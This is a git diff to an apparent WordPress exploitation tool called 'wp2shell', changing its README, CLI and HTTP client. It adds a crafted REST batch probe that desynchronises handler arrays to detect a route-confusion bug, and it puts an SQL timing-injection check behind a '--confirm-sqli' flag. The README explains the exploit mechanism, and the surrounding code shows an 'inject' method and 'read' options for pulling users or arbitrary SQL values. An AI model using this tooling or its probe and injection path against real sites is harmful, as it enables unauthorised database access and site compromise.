diff --git a/README.md b/README.md
index 7c4bcba..bc30e71 100644
--- a/README.md
+++ b/README.md
@@ -69,16 +69,25 @@ Or `pip install .` to get a `wp2shell` command on your `PATH`.
 ### check — confirm the vulnerability (safe)
 
 Prints passive WordPress markers and public version hints first, then sends a benign batch marker
-probe. If the batch route behaves like WordPress, the probe should return HTTP 207 with markers
-such as `parse_path_failed`, `block_cannot_read`, or `rest_batch_not_allowed`. After that, `check`
-tries a paired timing confirmation. The timing step reads no data and changes nothing. By default
-it sends three baseline/delayed pairs and decides on the median delta, which is more reliable on
-noisy or rate-limited targets than a single timing comparison.
+probe. A vulnerable batch implementation returns HTTP 207 with the route-confusion marker pattern
+`parse_path_failed`, `block_cannot_read`, and `rest_batch_not_allowed`.
 
-Treat the signals separately: an affected public version is strong triage evidence, while timing
-confirmation proves the SQLi path reached the database. A WAF or edge rule can block the timing
-payload, so a failed timing check is reported as "not timing-confirmed" rather than a clean bill of
-health.
+The marker probe is based on the WordPress core fix. The malformed `///` request creates
+`parse_path_failed`; a `/wp/v2/posts` request acts as a batch-allowed spacer; the
+`/wp/v2/block-renderer/...` route is not batch-allowed but returns `block_cannot_read` if its
+handler is reached anonymously; `/batch/v1` gives `rest_batch_not_allowed`. On vulnerable builds
+the parse error shifts the batch handler arrays out of step, so the spacer request is dispatched
+under the block-renderer handler. Fixed builds keep the arrays aligned, so this exact all-three
+pattern should not appear for the crafted probe.
+
+By default, `check` stops there and does not send a SQL timing payload. Use `--confirm-sqli` when
+you also want the active paired timing confirmation. The timing step reads no data and changes
+nothing; it sends three baseline/delayed pairs by default and decides on the median delta.
+
+Treat the signals separately: an affected public version is strong triage evidence, the batch
+marker pattern confirms the vulnerable route-confusion behavior, and timing confirmation proves the
+SQLi path reached the database. A WAF or edge rule can block the timing payload, so a failed timing
+check does not override a positive marker probe.
 
 ```
 ./wp2shell.py check http://target
@@ -113,8 +122,9 @@ path. Remove it when finished.
 | `--rest-route`      | all        | Use `/?rest_route=/batch/v1` (for sites without pretty permalinks).  |
 | `--proxy URL`       | all        | Route traffic through an HTTP proxy (for example, Burp).             |
 | `--timeout N`       | all        | Request timeout in seconds.                                          |
-| `--sleep N`         | check      | Delay used to confirm the injection.                                 |
-| `--samples N`       | check      | Baseline/delayed timing pairs to compare (default 3).                |
+| `--sleep N`         | check      | Delay used with `--confirm-sqli`.                                    |
+| `--samples N`       | check      | Timing pairs used with `--confirm-sqli` (default 3).                 |
+| `--confirm-sqli`    | check      | Also send the active SQL timing confirmation payload.                |
 | `--preset`          | read       | `fingerprint` or `users`.                                            |
 | `--query`           | read       | A scalar SQL expression to read.                                     |
 | `--prefix`          | read       | Database table prefix (default `wp_`).                               |
diff --git a/wp2shell/cli.py b/wp2shell/cli.py
index 9455366..68fdd5b 100644
--- a/wp2shell/cli.py
+++ b/wp2shell/cli.py
@@ -115,10 +115,22 @@ def cmd_check(args: argparse.Namespace) -> int:
         return 1
     markers = client.batch_marker_codes(probe)
     if markers:
-        good(f"Batch probe -> HTTP 207; markers matched: {', '.join(markers)}")
+        info(f"Batch probe -> HTTP 207; markers matched: {', '.join(markers)}")
     else:
         good("Batch endpoint reachable and unauthenticated (HTTP 207).")
 
+    route_confusion = client.has_route_confusion_markers(probe)
+    if route_confusion:
+        good("VULNERABLE — batch route-confusion behavior detected.")
+        if not args.confirm_sqli:
+            info("SQL timing confirmation not sent; use --confirm-sqli for the active SQLi probe.")
+            return 0
+    elif not args.confirm_sqli:
+        bad("Route-confusion marker pattern not detected.")
+        if any(hint.affected for hint in hints):
+            warn("Version suggests exposure, but the batch marker probe did not show vulnerable behavior.")
+        return 2
+
     result = BlindSQLi(client, sleep=args.sleep).confirm_timing(samples=args.samples)
     if args.samples > 1:
         details = ", ".join(
@@ -127,7 +139,13 @@ def cmd_check(args: argparse.Namespace) -> int:
         info(f"Timing samples: {details}")
         info(f"Median delta {result.delta:.2f}s; threshold {result.threshold:.2f}s.")
     if result.confirmed:
-        good(f"VULNERABLE — baseline {result.baseline:.2f}s, injected {result.delayed:.2f}s.")
+        good(f"SQL timing confirmed — baseline {result.baseline:.2f}s, injected {result.delayed:.2f}s.")
+        return 0
+    if route_confusion:
+        warn(
+            f"SQL timing not confirmed — baseline {result.baseline:.2f}s, injected "
+            f"{result.delayed:.2f}s; route-confusion marker pattern still detected."
+        )
         return 0
     bad(f"Not timing-confirmed — baseline {result.baseline:.2f}s, injected {result.delayed:.2f}s.")
     if any(hint.affected for hint in hints):
@@ -271,12 +289,22 @@ def build_parser() -> argparse.ArgumentParser:
 
     check = sub.add_parser("check", help="safely confirm the vulnerability (non-destructive)")
     _add_common(check)
-    check.add_argument("--sleep", type=float, default=3.0, help="confirmation delay (default: 3)")
+    check.add_argument(
+        "--sleep",
+        type=float,
+        default=3.0,
+        help="SQL timing delay used with --confirm-sqli (default: 3)",
+    )
     check.add_argument(
         "--samples",
         type=int,
         default=3,
-        help="baseline/delayed timing pairs for confirmation (default: 3)",
+        help="baseline/delayed SQL timing pairs used with --confirm-sqli (default: 3)",
+    )
+    check.add_argument(
+        "--confirm-sqli",
+        action="store_true",
+        help="also send the active SQL timing confirmation payload",
     )
     check.set_defaults(func=cmd_check)
 
diff --git a/wp2shell/client.py b/wp2shell/client.py
index 94b9a81..d88a26d 100644
--- a/wp2shell/client.py
+++ b/wp2shell/client.py
@@ -99,11 +99,12 @@ class BatchClient:
         return self.post({"requests": []})
 
     def marker_probe(self) -> Response:
-        """A benign batch that should produce stable WordPress REST error markers."""
+        """A benign batch that exposes the vulnerable route-confusion alignment bug."""
         return self.post(
             {
                 "requests": [
                     _DESYNC_PRIMER,
+                    {"method": "POST", "path": "/wp/v2/posts"},
                     {"method": "POST", "path": "/wp/v2/block-renderer/core/archives"},
                     {"method": "POST", "path": "/batch/v1", "body": {"requests": []}},
                 ]
@@ -133,6 +134,11 @@ class BatchClient:
         walk(body)
         return tuple(found)
 
+    @staticmethod
+    def has_route_confusion_markers(response: Response) -> bool:
+        codes = BatchClient.batch_marker_codes(response)
+        return all(code in codes for code in _BATCH_MARKER_CODES)
+
     def inject(self, author_not_in: str) -> Response:
         """Send a payload placing `author_not_in` into the WP_Query author__not_in clause."""
         return self.post(self._payload(author_not_in))